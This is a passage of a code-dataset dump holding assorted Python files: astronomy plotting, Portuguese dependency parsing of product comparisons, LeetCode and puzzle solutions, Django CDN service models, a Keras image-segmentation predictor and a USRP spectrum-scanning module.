fig.savefig((os.path.join(config.BASEMENT.outdir, 'initial_guess_' + companion + '.pdf')), bbox_inches='tight')\n plt.close(fig)\n\n for companion in config.BASEMENT.settings['companions_phot']:\n for inst in config.BASEMENT.settings['inst_phot']:\n try:\n fig, axes = afplot_per_transit(samples, inst, companion)\n fig.savefig((os.path.join(config.BASEMENT.outdir, 'initial_guess_per_transit_' + inst + '_' + companion + '.pdf')), bbox_inches='tight')\n plt.close(fig)\n except:\n pass\n\n return\n fig_list = []\n for companion in config.BASEMENT.settings['companions_all']:\n fig, axes = afplot(samples, companion)\n fig_list.append(fig)\n\n return fig_list\n\n\ndef plot_ttv_results(params_median, params_ll, params_ul):\n for companion in config.BASEMENT.settings['companions_all']:\n fig, axes = plt.subplots()\n axes.axhline(0, color='grey', linestyle='--')\n for i in range(len(config.BASEMENT.data[(companion + '_tmid_observed_transits')])):\n axes.errorbar((i + 1), (params_median[(companion + '_ttv_transit_' + str(i + 1))] * 24 * 60), yerr=(np.array([[params_ll[(companion + '_ttv_transit_' + str(i + 1))] * 24 * 60, params_ul[(companion + '_ttv_transit_' + str(i + 1))] * 24 * 60]]).T),\n color=(config.BASEMENT.settings[(companion + '_color')]),\n fmt='.')\n\n axes.set(xlabel='Tranist Nr.', ylabel='TTV (mins)')\n fig.savefig((os.path.join(config.BASEMENT.outdir, 'ttv_results_' + companion + '.pdf')), bbox_inches='tight')\n plt.close(fig)\n\n\ndef get_labels(datadir, as_type='dic'):\n config.init(datadir)\n if as_type == '2d_array':\n return config.BASEMENT.labels\n if as_type == 'dic':\n labels_dic = {}\n for key in config.BASEMENT.fitkeys:\n ind = np.where(config.BASEMENT.allkeys == key)[0]\n labels_dic[key] = config.BASEMENT.labels[ind][0]\n\n return labels_dic\n\n\ndef get_data(datadir):\n config.init(datadir)\n return config.BASEMENT.data\n\n\ndef get_settings(datadir):\n config.init(datadir)\n return config.BASEMENT.settings","sub_path":"pycfiles/allesfitter-1.1.0-py3-none-any/general_output.cpython-37.py","file_name":"general_output.cpython-37.py","file_ext":"py","file_size_in_byte":39213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"62399328","text":"import spacy\nimport re\n\nENTITY_S1 = \"Iphone\"\nENTITY_S2 = \"Samsung\"\nwords_visited = []\ndict_sentence = {}\nstop_words_punctuation = [\"~\", \"$\", \"^\", \"´\", \"'\", \"`\", \"?\", \"*\", \",\", \".\", \"!\", \"\\n\", \"(\", \")\", \"\\\"\", \";\", \":\", \"-\"] #\":\",\",\",\n\nnlp_spacy = spacy.load('pt_core_news_sm')\n\n#detect what entity is related to comparative keyword\n#The algorithm obtains the dependency of each word until it finds an entity. That first entity found is considered preferred.\ndef find_entity(keyword): \n try:\n while(True): \n dep = dict_sentence[keyword][0]\n\n if (dep == ENTITY_S1 or dep == ENTITY_S2) and dict_sentence[dep][1] in ['nsubj', 'obj', 'iobj', 'csubj']:\n return dep\n \n if (ENTITY_S1 in dict_sentence[keyword][2] and dict_sentence[ENTITY_S1][1] in ['nsubj', 'obj', 'iobj', 'csubj']):\n return ENTITY_S1\n elif(ENTITY_S2 in dict_sentence[keyword][2] and dict_sentence[ENTITY_S2][1] in ['nsubj', 'obj', 'iobj', 'csubj']):\n return ENTITY_S2\n\n if (len(words_visited) > 0):\n if (ENTITY_S1 in dict_sentence[dep][2]):\n return ENTITY_S1\n elif(ENTITY_S2 in dict_sentence[dep][2]):\n return ENTITY_S2\n else:\n if (ENTITY_S1 in dict_sentence[keyword][2] and dict_sentence[ENTITY_S1][1] in ['nsubj', 'obj', 'iobj', 'csubj']):\n return ENTITY_S1\n elif(ENTITY_S2 in dict_sentence[keyword][2] and dict_sentence[ENTITY_S2][1] in ['nsubj', 'obj', 'iobj', 'csubj']):\n return ENTITY_S2\n\n if dep != \"\" and dep != keyword and keyword not in words_visited:\n words_visited.append(keyword) \n keyword = dep \n else: \n w_priorities = []\n words_visited.append(keyword)\n words = dict_sentence[keyword][2]\n \n #sorting by priorities\n for w in words:\n if dict_sentence[w][1] in ['nsubj', 'obj', 'iobj', 'csubj']:\n w_priorities.append(w)\n\n words = w_priorities + [w for w in words if w not in w_priorities]\n \n if len(words_visited) == 1: \n for w in words:\n if(w.strip() != '' and keyword != w):\n result = find_entity(w)\n if result == ENTITY_S1 or result == ENTITY_S2:\n return result\n else: \n #verifying if the entity is in dependency\n if ENTITY_S1 in words and ENTITY_S2 in words:\n for w in words:\n if w == ENTITY_S1 or w == ENTITY_S2:\n return w \n if ENTITY_S1 in words:\n return ENTITY_S1\n elif ENTITY_S2 in words:\n return ENTITY_S2\n else:\n for w in words:\n if(w.strip() != '' and keyword != w):\n result = find_entity(w)\n if result == ENTITY_S1 or result == ENTITY_S2:\n return result\n \n return 'None'\n\n if keyword == ENTITY_S1 or keyword == ENTITY_S2:\n return keyword\n except Exception as e:\n print(\"ERRO get_polarity: \", e) \n return 'None'\n\ndef remove_duplicated_keywords(text, keyword, i_start, i_end):\n pos_start = 0\n pos_end = 0\n less_value = 100000 \n \n if len(re.findall(r'\\b' + keyword + r'\\b', text)) > 1:\n for i in re.finditer(r'\\b' + keyword + r'\\b', text):\n if abs(i.start() - i_start) < less_value:\n pos_start = i.start()\n pos_end = i.end()\n less_value = abs(i.start() - i_start)\n\n text = text[:pos_start] + 'KEYWORD' + text[pos_end:]\n text = text.replace(keyword, '')\n text = text.replace('KEYWORD', keyword)\n return text\n\ndef get_word_start_position(text, word):\n res = re.search('\\b(%s)\\b'%format(word), text)\n\n if res != None and res != '':\n return res.start()\n else:\n res = re.search(r'(%s)\\b'%format(word), text)\n if res != None and res != '':\n return res.start()\n\n res = re.search(r'\\b(%s)'%format(word), text)\n if res != None and res != '':\n return res.start()\n\n return text.index(word)\n \n#replace entities with other names\ndef replace_entity_in_sentence(text, keyword, i_start, i_end, pos_key, entity_s1, entity_s2):\n text = text[:i_start] + 'KEYWORD' + text[i_end:]\n v_split = text.split('KEYWORD')\n\n if pos_key == '0':\n split_text1 = v_split[0]\n split_text2 = v_split[1]\n\n en_start = get_word_start_position(split_text1, entity_s1)\n \n replace_entity1 = '%s'%(ENTITY_S1)\n if en_start == 0:\n replace_entity1 = 'O %s'%(ENTITY_S1)\n\n split_text1 = split_text1[:en_start] + replace_entity1 + split_text1[en_start + len(entity_s1):]\n en_start = get_word_start_position(split_text2, entity_s2)\n split_text2 = split_text2[:en_start] + '%s'%(ENTITY_S2) + split_text2[en_start + len(entity_s2):]\n\n text = split_text1 + keyword + split_text2\n i_start = len(split_text1)\n i_end = i_start + len(keyword)\n \n elif pos_key == '1': \n split_text1 = v_split[0]\n split_text2 = v_split[1]\n\n en_start = get_word_start_position(split_text1, entity_s1)\n\n replace_entity = '%s'%(ENTITY_S1)\n if en_start == 0:\n replace_entity = 'O %s'%(ENTITY_S1)\n\n split_text1 = split_text1[:en_start] + replace_entity + split_text1[en_start + len(entity_s1):]\n en_start = get_word_start_position(split_text1, entity_s2)\n split_text1 = split_text1[:en_start] + '%s'%(ENTITY_S2) + split_text1[en_start + len(entity_s2):]\n\n text = split_text1 + keyword + split_text2\n i_start = len(split_text1)\n i_end = i_start + len(keyword)\n \n elif pos_key == '-1':\n split_text1 = v_split[0]\n split_text2 = v_split[1]\n \n en_start = get_word_start_position(split_text2, entity_s1)\n split_text2 = split_text2[:en_start] + '%s'%(ENTITY_S1) + split_text2[en_start + len(entity_s1):]\n en_start = get_word_start_position(split_text2, entity_s2)\n\n split_text2 = split_text2[:en_start] + '%s'%(ENTITY_S2) + split_text2[en_start + len(entity_s2):]\n text = split_text1 + keyword + split_text2\n i_start = len(split_text1)\n i_end = i_start + len(keyword)\n else:\n print('ERROR: Keyword Position is Null')\n exit()\n \n return text, i_start, i_end\n\ndef detect_negation(review_text, keyword, dep_sentence):\n neg_words = [\"não\", \"nao\" \"nem\", \"nada\", \"nda\", \"nunca\", \"ninguém\", \"ninguem\", \"nenhum\", \"nenhuma\", \"n\"]\n vec_dependency = dep_sentence[keyword][2]\n\n for w_dep in vec_dependency:\n if w_dep in neg_words:\n return True\n\n return False\n\ndef detect_entity_related(review_text, keyword, pos_key, i_start, i_end, entity_s1, entity_s2): \n global words_visited\n global dict_sentence\n\n words_visited = []\n dict_sentence = {}\n\n text = \"%s\" %(review_text.lower()) \n text, i_start, i_end = replace_entity_in_sentence(text, keyword, i_start, i_end, pos_key, entity_s1.lower(), entity_s2.lower())\n text = remove_duplicated_keywords(text, keyword, i_start, i_end)\n \n #remove pontuactions\n text = re.sub(r'(?<=[~$^´\\'`:?*!();\\n.,-])(?=[^\\s])', r' ', text) #add space\n\n #replacing entitys\n for w in stop_words_punctuation:\n text = text.replace(w, \" \") if w == '\\n' else text.replace (w, \"\")\n\n text = re.sub(' +', ' ', text) #remove duplicate spaces between words\n text = text.strip()\n doc = nlp_spacy(text)\n\n #building dictionary with dependency\n for token in doc: \n dict_sentence[token.text] = [token.head.text.strip(), token.dep_, [str(child) for child in token.children]]\n\n related_entity = (entity_s1 if find_entity(keyword.strip()) == ENTITY_S1 else entity_s2)\n \n #verify if there is negation in the keyword\n isNeg = detect_negation(review_text, keyword, dict_sentence)\n\n return related_entity, isNeg\n","sub_path":"preferrence/comparative_dependency.py","file_name":"comparative_dependency.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"475784812","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef make_list(arr):\n head_node = None\n p_node = None\n for a in arr:\n new_node = ListNode(a)\n if head_node is None:\n head_node = new_node\n p_node = new_node\n else:\n p_node.next = new_node\n p_node = new_node\n return head_node\n\n\ndef print_list(head):\n while head is not None:\n print(head.val, end=',')\n head = head.next\n print()\n\n\nclass Solution(object):\n\n def reorderList(self, head):\n # Two points\n if head is None or head.next is None:\n return\n # 为了找到 中 节点\n slow, fast = head, head.next\n while fast and fast.next:\n slow = slow.next\n # two step\n fast = fast.next.next\n print(slow.val)\n # 退出while,fast是最后一个节点,或者None,slow 到中间\n last = slow.next\n slow.next = None\n\n # last的前方节点\n last_pre = None\n # reverse last:fast , 此后,从pre开始->next遍历,是从大到小\n while last:\n next = last.next\n last.next = last_pre\n last_pre = last\n last = next\n # 退出\n pre = last_pre\n # head开始next是从小到大\n while head and pre:\n # 从小到大的数据的下一个\n head_next = head.next\n # 从大到小的数据的下一个\n pre_next = pre.next\n # 从小到大的数据,和从大到小的数据,串起来\n head.next = pre\n pre.next = head_next\n # 到他们下一个点\n pre = pre_next\n head = head_next\n\n\na = [1, 2, 3, 4,5]\nhead = make_list(a)\ns = Solution()\nprint_list(head)\ns.reorderList(head)\nprint_list(head)\n","sub_path":"easyleetcode/leetcodes/Leetcode_143_Reorder_List.py","file_name":"Leetcode_143_Reorder_List.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"147592860","text":"from django.db import models\nfrom core.models import User, Service, SingletonModel, PlCoreBase\nfrom core.models.plcorebase import StrippedCharField\nimport os\nfrom django.db import models\nfrom django.forms.models import model_to_dict\nfrom django.db.models import Q\n\n\n# Create your models here.\n\nclass HpcService(Service):\n\n class Meta:\n app_label = \"hpc\"\n verbose_name = \"HPC Service\"\n\n cmi_hostname = StrippedCharField(max_length=254, null=True, blank=True)\n\n hpc_port80 = models.BooleanField(default=True, help_text=\"Enable port 80 for HPC\")\n watcher_hpc_network = StrippedCharField(max_length=254, null=True, blank=True, help_text=\"Network for hpc_watcher to contact hpc instance\")\n watcher_dnsdemux_network = StrippedCharField(max_length=254, null=True, blank=True, help_text=\"Network for hpc_watcher to contact dnsdemux instance\")\n watcher_dnsredir_network = StrippedCharField(max_length=254, null=True, blank=True, help_text=\"Network for hpc_watcher to contact dnsredir instance\")\n\n @property\n def scale(self):\n hpc_slices = [x for x in self.slices.all() if \"hpc\" in x.name]\n if not hpc_slices:\n return 0\n return hpc_slices[0].instances.count()\n\n @scale.setter\n def scale(self, value):\n self.set_scale = value\n\n def save(self, *args, **kwargs):\n super(HpcService, self).save(*args, **kwargs)\n\n # scale up/down\n scale = getattr(self, \"set_scale\", None)\n if scale is not None:\n exclude_slices = [x for x in self.slices.all() if \"cmi\" in x.name]\n self.adjust_scale(slice_hint=\"hpc\", scale=scale, exclusive_slices = exclude_slices, max_per_node=1)\n\nclass ServiceProvider(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n hpcService = models.ForeignKey(HpcService)\n service_provider_id = models.IntegerField(null=True, blank=True)\n name = models.CharField(max_length=254,help_text=\"Service Provider Name\")\n description = models.TextField(max_length=254,null=True, blank=True, help_text=\"Description of Service Provider\")\n enabled = models.BooleanField(default=True)\n\n def __unicode__(self): return u'%s' % (self.name)\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(hpcService=hpcService)\n\nclass ContentProvider(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n # legacy vicci content providers already have names.\n CP_TO_ACCOUNT = {\"ON.LAB\": \"onlabcp\",\n \"Syndicate\": \"syndicatecp\"}\n\n content_provider_id = models.IntegerField(null=True, blank=True)\n name = models.CharField(max_length=254)\n enabled = models.BooleanField(default=True)\n description = models.TextField(max_length=254,null=True, blank=True,help_text=\"Description of Content Provider\")\n serviceProvider = models.ForeignKey(ServiceProvider)\n\n # Note user relationships are directed not requiring a role.\n users = models.ManyToManyField(User)\n\n def __unicode__(self): return u'%s' % (self.name)\n\n @property\n def account(self):\n return self.CP_TO_ACCOUNT.get(self.name, self.name)\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(serviceProvider__hpcService=hpcService)\n\n def can_update(self, user):\n if super(ContentProvider, self).can_update(user):\n return True\n\n if user in self.users.all():\n return True\n\n return False\n\nclass OriginServer(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n origin_server_id = models.IntegerField(null=True, blank=True)\n url = models.CharField(max_length=1024)\n contentProvider = models.ForeignKey(ContentProvider)\n\n authenticated = models.BooleanField(default=False, help_text=\"Status for this Site\")\n enabled = models.BooleanField(default=True, help_text=\"Status for this Site\")\n PROTOCOL_CHOICES = (('http', 'HTTP'),('rtmp', 'RTMP'), ('rtp', 'RTP'),('shout', 'SHOUTcast')) \n protocol = models.CharField(default=\"HTTP\", max_length = 12, choices=PROTOCOL_CHOICES)\n redirects = models.BooleanField(default=True, help_text=\"Indicates whether Origin Server redirects should be used for this Origin Server\")\n description = models.TextField(null=True, blank=True, max_length=255)\n \n def __unicode__(self): return u'%s' % (self.url)\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(contentProvider__serviceProvider__hpcService=hpcService)\n\n def can_update(self, user):\n if super(OriginServer, self).can_update(user):\n return True\n\n if self.contentProvider and self.contentProvider.can_update(user):\n return True\n\n return False\n\nclass CDNPrefix(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n cdn_prefix_id = models.IntegerField(null=True, blank=True)\n prefix = models.CharField(max_length=200, help_text=\"Registered Prefix for Domain\")\n contentProvider = models.ForeignKey(ContentProvider)\n description = models.TextField(max_length=254,null=True, blank=True,help_text=\"Description of Content Provider\")\n\n defaultOriginServer = models.ForeignKey(OriginServer, blank=True, null=True)\n enabled = models.BooleanField(default=True)\n\n def __unicode__(self): return u'%s' % (self.prefix)\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(contentProvider__serviceProvider__hpcService=hpcService)\n\n def can_update(self, user):\n if super(CDNPrefix, self).can_update(user):\n return True\n\n if self.contentProvider and self.contentProvider.can_update(user):\n return True\n\n return False\n\nclass AccessMap(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n contentProvider = models.ForeignKey(ContentProvider)\n name = models.CharField(max_length=64, help_text=\"Name of the Access Map\")\n description = models.TextField(null=True, blank=True,max_length=130)\n map = models.FileField(upload_to=\"maps/\", help_text=\"specifies which client requests are allowed\")\n\n def __unicode__(self): return self.name\n\nclass SiteMap(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n \"\"\" can be bound to a ContentProvider, ServiceProvider, or neither \"\"\"\n contentProvider = models.ForeignKey(ContentProvider, blank=True, null=True)\n serviceProvider = models.ForeignKey(ServiceProvider, blank=True, null=True)\n cdnPrefix = models.ForeignKey(CDNPrefix, blank = True, null=True)\n hpcService = models.ForeignKey(HpcService, blank = True, null=True)\n name = models.CharField(max_length=64, help_text=\"Name of the Site Map\")\n description = models.TextField(null=True, blank=True,max_length=130)\n map = models.FileField(upload_to=\"maps/\", help_text=\"specifies how to map requests to hpc instances\")\n map_id = models.IntegerField(null=True, blank=True)\n\n def __unicode__(self): return self.name\n\n def save(self, *args, **kwds):\n if (self.contentProvider) and (self.serviceProvider or self.cdnPrefix or self.hpcService):\n raise ValueError(\"You may only set one of contentProvider, serviceProvider, cdnPrefix, or hpcService\")\n if (self.serviceProvider) and (self.cdnPrefix or self.hpcService):\n raise ValueError(\"You may only set one of contentProvider, serviceProvider, cdnPrefix, or hpcService\")\n if (self.cdnPrefix) and (self.hpcService):\n raise ValueError(\"You may only set one of contentProvider, serviceProvider, cdnPrefix, or hpcService\")\n\n super(SiteMap, self).save(*args, **kwds)\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(Q(hpcService=hpcService) |\n Q(serviceProvider__hpcService=hpcService) |\n Q(contentProvider__serviceProvider__hpcService=hpcService) |\n Q(cdnPrefix__contentProvider__serviceProvider__hpcService=hpcService))\n\nclass HpcHealthCheck(PlCoreBase):\n class Meta:\n app_label = \"hpc\"\n\n KIND_CHOICES = (('dns', 'DNS'), ('http', 'HTTP'), ('nameserver', 'Name Server'))\n\n hpcService = models.ForeignKey(HpcService, blank = True, null=True)\n kind = models.CharField(max_length=30, choices=KIND_CHOICES, default=\"dns\")\n resource_name = StrippedCharField(max_length=1024, blank=False, null=False)\n result_contains = StrippedCharField(max_length=1024, blank=True, null=True)\n result_min_size = models.IntegerField(null=True, blank=True)\n result_max_size = models.IntegerField(null=True, blank=True)\n\n def __unicode__(self): return self.resource_name\n\n @classmethod\n def filter_by_hpcService(cls, qs, hpcService):\n # This should be overridden by descendant classes that want to perform\n # filtering of visible objects by user.\n return qs.filter(hpcService=hpcService)\n\n\n","sub_path":"xos/services/hpc/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":9521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"429269803","text":"from collections import Counter\nclass Solution:\n def isOneEditDistance(self, s: str, t: str) -> bool:\n s_counter = Counter(s)\n t_counter = Counter(t)\n s_len = len(s)\n t_len = len(t)\n action = \"\"\n if abs(t_len-s_len)>1:\n print(\"less\")\n return False\n if s_len < t_len:\n d_counter = t_counter - s_counter\n action = 1 #add\n elif s_len==t_len:\n d_counter = t_counter - s_counter\n r_counter = s_counter - t_counter\n action = 2 # replace\n else:\n d_counter = s_counter - t_counter\n action = 3 # delete\n if len(d_counter.keys())>1:\n return False\n elif len(d_counter.keys())==0:\n return False\n else:\n if action == 1: #add\n t= list(t)\n t.pop(t.index(list(d_counter.keys())[0]))\n t = \"\".join(t)\n if s == t:\n return True\n else:\n return False\n elif action == 2: #replace\n s = list(s)\n t = list(t)\n token = list(d_counter.keys())[0]\n replace = list(r_counter.keys())[0]\n index = 0\n while(s_counter[replace]>=1):\n index = s.index(replace,index)\n s[index] = token #print(index)\n if \"\".join(s) == \"\".join(t):\n return True\n s[index] = replace\n index = index+1\n s_counter[replace]-=1\n else: # delete\n i= 0\n s = list(s)\n token = list(d_counter.keys())[0]\n index = 0\n while s_counter[token]>=1:\n index = s.index(token,index)\n s_left = s[:index]\n s_right = s[index+1:]\n if \"\".join(s_left)+\"\".join(s_right) == t:\n return True\n index = index+1\n s_counter[token]-=1\n\n\nif __name__ == \"__main__\":\n a = Solution()\n print(a.isOneEditDistance(s=\"ab\",t=\"acb\"))\n print(a.isOneEditDistance(s=\"cab\",t=\"ad\"))","sub_path":"one_edit_distance.py","file_name":"one_edit_distance.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"574670378","text":"#!/usr/bin/env python3\n\n\nwith open(\"day3.txt\", \"r\") as file:\n\tdef crawl_wire():\n\t\tloc = [0, 0]\n\n\t\tfor move in file.readline().split(\",\"):\n\t\t\tdelta = {\"L\": (0, -1), \"R\": (0, 1), \"U\": (1, 1), \"D\": (1, -1)}[move[0]]\n\n\t\t\tfor _ in range(int(move[1:])):\n\t\t\t\tloc[delta[0]] += delta[1]\n\t\t\t\tyield tuple(loc)\n\n\tvisited = set(crawl_wire())\n\tclosest = min(abs(loc[0]) + abs(loc[1]) for loc in crawl_wire() if loc in visited)\n\n\tprint(closest)\n","sub_path":"2019/day3-part1.py","file_name":"day3-part1.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"455082897","text":"\"\"\"\nプログラミング練習\n英文を読み込んで辞書を生成し、単語の順序を覚える。\n乱数で辞書から1つ単語を取り出し、後に続く単語を自動選択する。\n選択には、覚えた単語リストから回数がもっとも多い単語を選ぶ。\n\"\"\"\n#cording: utf-8\n\nimport sys\nimport numpy as np\nimport pprint\nfrom nltk.tokenize import word_tokenize\nimport random\n\ninfile = \"input.txt\"\n\ndictionary = []\nall_word_col = []\n\ndef wordlist(l, dic_mode=\"yes\"):\n \"\"\"\n l = list\n dic_mode:yes  only one word in the list\n dic_mode:no multiple words in the list\n \"\"\"\n with open(infile,\"r\") as f:\n for line in f:\n line = line.lower()\n word_tokenize_list = word_tokenize(line)\n for w in word_tokenize_list:\n if dic_mode == \"yes\":\n if w not in l:\n l.append(w)\n else:\n l.append(w)\n \n#def my_index(l, x):\n# return [i for i, _x in enumerate(l) if _x == x] \n\nwordlist(dictionary, \"yes\")\nwordlist(all_word_col)\n\ntable = [[0 for i in range(len(dictionary))] for j in range(len(dictionary))]\n#table = [[0] * len(dictionary)] * len(dictionary)\n\nfor n in range( len(all_word_col)-1 ):\n forward = all_word_col[n]\n backward = all_word_col[n+1]\n table[dictionary.index(forward)][dictionary.index(backward)] += 1\n\n#pprint.pprint(table,width=len(all_word_col))\n\nr = random.randint(0, len(dictionary)-1)\n\nwhile (dictionary[r] != \".\") and (r < len(dictionary)):\n nptable = np.array(table)\n print(dictionary[r] + \" \", end=\"\")\n r = np.argmax(nptable[r,])\n \n \n\n \n\n\n","sub_path":"pr01.py","file_name":"pr01.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"220208717","text":"import unittest\nimport tickEvent\n\nclass TestTickEvent(unittest.TestCase):\n \"\"\"\n To test the tick event creation, we will test that event\n creation works, and that the type of the event is correct.\n \"\"\"\n\n def testCreateTickEvent(self):\n\n # Create tick event.\n tickObj = tickEvent.TickEvent()\n\n # Check that the data reference attribute is set to None.\n self.assertEqual(tickObj.getData(), None)\n\n # Check that right type is set.\n self.assertEqual(tickObj.type, 'TICK')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"events/tickEventTest.py","file_name":"tickEventTest.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"91949827","text":"import random\nimport requests\nimport json\n\nN_SENSORS = 1000\nCENTER_LAT = -22.861592962437157\nCENTER_LON = -43.22808397926099\n\ndef create_sensor(i):\n mac = \"02:00:00:%02X:%02X:%02X\" % (random.randint(0, 255),\n random.randint(0, 255),\n random.randint(0, 255))\n\n return {\n \"mac\": mac,\n \"name\": \"Sensor %d\" % i,\n \"description\": \"Sensor #%d\" % i,\n \"latitude\": \"%s\" % (CENTER_LAT + (random.uniform(-1, 1) / 100)),\n \"longitude\": \"%s\" % (CENTER_LON + (random.uniform(-1, 1) / 100))\n }\n\nfor i in range(1, N_SENSORS + 1):\n sensor = create_sensor(i)\n requests.post(\"http://localhost:8000/sensors\", data=json.dumps(sensor))\n\n print(sensor[\"mac\"])\n","sub_path":"scripts/sensor_generator.py","file_name":"sensor_generator.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"340653998","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Mar 17 21:11:14 2017\r\n\r\n@author: box\r\n\"\"\"\r\nimport numpy as np\r\nimport cv2\r\nfrom matplotlib import pyplot as plt\r\n\r\nimport zoo.DilConNet as dcn\r\nimport zoo.ZeGoggleNet9 as zgn\r\n\r\nimport util.ztiff as ztiff\r\nimport util.keras as kutil\r\nfrom util.patches import patchify, unpatchify\r\nimport denoise_image as dn\r\n\r\nimport util.keras as kutil\r\n\r\n####\r\n\r\ndef predict(test_file='../../data/salinarum/final_network_images/im_test.tif',\r\n weights_file='znet9_salinarum_140_edge.hdf5'):\r\n\r\n test_file = '../../data/salinarum/processed_images/10-1.tif'\r\n# test_file = '../../data/subtilis/20161120_py79_ch_xy09-0.3333_processed.tif'\r\n# test_file = '../../data/subtilis_zring/processed_images/bAB229_1min_2h_1_11-121.tif'\r\n \r\n print('-'*30)\r\n print('Loading image...')\r\n print('-'*30)\r\n \r\n im_test = ztiff.load(test_file).astype('float32')\r\n \r\n #im_test = im_test[:,:,0]\r\n \r\n print('-'*30)\r\n print('Loading fitted model...')\r\n print('-'*30)\r\n \r\n model = zgn.get_net(img_rows=im_test.shape[0],img_cols=im_test.shape[1])\r\n \r\n model.load_weights(weights_file)\r\n \r\n print('-'*30)\r\n print('Predicting masks on test data...')\r\n print('-'*30)\r\n \r\n# skip = 2\r\n \r\n# im_test = im_test[0::skip,0::skip,0:12]\r\n# im_test = im_test[0::skip,0::skip,:]\r\n \r\n (num_rows, num_cols, num_frames) = im_test.shape\r\n \r\n im_back = np.zeros((num_rows,num_cols,num_frames),dtype=np.float32)\r\n im_mask = np.zeros((num_rows,num_cols,num_frames),dtype=np.float32)\r\n im_border = np.zeros((num_rows,num_cols,num_frames),dtype=np.float32)\r\n \r\n im_restructure = kutil.reshape_im_tf(im_test)\r\n# print im_restructure.shape\r\n# return\r\n im_test_probs = model.predict(im_restructure, verbose=1, batch_size=4)\r\n \r\n for frame_idx in range(0,num_frames):\r\n# print 'Frame: ' + str(frame_idx+1) + ' of ' + str(num_frames)\r\n \r\n cur_im = im_test_probs[frame_idx,:,:,:]\r\n \r\n max_mat = np.argmax(cur_im,axis=2)\r\n\r\n im_back[:,:,frame_idx] = max_mat == 0\r\n im_mask[:,:,frame_idx] = max_mat == 1\r\n im_border[:,:,frame_idx] = max_mat == 2\r\n \r\n ztiff.save('back.tif',im_back)\r\n ztiff.save('mask.tif',im_mask)\r\n ztiff.save('border.tif',im_border)\r\n \r\n empty = np.zeros((im_back.shape),dtype=np.float32)\r\n im_border = np.expand_dims(np.concatenate((im_border,empty),axis=1),axis=-1)\r\n \r\n im_test = np.expand_dims(np.concatenate((im_test,im_test),axis=1),axis=-1)\r\n \r\n im_out = np.concatenate((im_test,im_border),axis=-1)\r\n \r\n ztiff.save('overlay.tif',im_out)\r\n\r\nif __name__ == '__main__':\r\n predict()","sub_path":"code/net_predict.py","file_name":"net_predict.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"292427047","text":"import os\nimport sys\nimport time\nimport logging\nimport random\nimport wishful_upis as upis\nimport wishful_framework as wishful_module\nimport queue\nimport numpy as np\nimport threading\nimport warnings\nimport subprocess\nfrom itertools import islice\n\n\n@wishful_module.build_module\nclass SpectralScanUsrpModule(wishful_module.AgentModule):\n def __init__(self):\n super(SpectralScanUsrpModule, self).__init__()\n\n self.log = logging.getLogger('wifi_module.main')\n self.bgd_thread = threading.Thread()\n self.bgd_run = False\n self.bgd_sendq = queue.Queue(maxsize=0)\n\n def psd_bgd_fun(self):\n print(\"psd_bgd_fun(): Entering.\")\n\n base_usrp_path = \"%s/usrpse\" % os.path.dirname(os.path.abspath(__file__))\n scanner_command = \"%s/usrpse_sweeping\" % base_usrp_path\n uhd_find_command = \"%s/uhd_find_devices\" % base_usrp_path\n\n p = subprocess.Popen(uhd_find_command, stdout=subprocess.PIPE, shell=True)\n (output, err) = p.communicate()\n p_status = p.wait()\n if p_status > 0:\n raise RuntimeError(\"Can't find USRP's IP address.\")\n\n # python uhd library is not used due to its limitations\n try:\n usrp_ip_line = list(filter(lambda x:\"addr:\" in x, output.decode(sys.stdout.encoding).split(\"\\n\")))[0]\n usrp_ip = usrp_ip_line.strip().split(\" \")[1]\n usrp_ip_arg = \"addr=%s\" % usrp_ip\n except:\n raise RuntimeError(\"Can't find USRP's IP address.\")\n\n args = (scanner_command, \"--gain\", self.gain, \"--spb\", self.spb, \"--fftsize\", self.fftsize,\\\n \"--numofchannel\", self.numofchannel, \"--firstchannel\", self.firstchannel,\\\n \"--channelwidth\", self.channelwidth, \"--channeloffset\", self.channeloffset,\\\n \"--args\", usrp_ip_arg, \"--bps\", self.bps, \"--freqbegin\", self.freqbegin, \"--mode\", self.mode)\n p 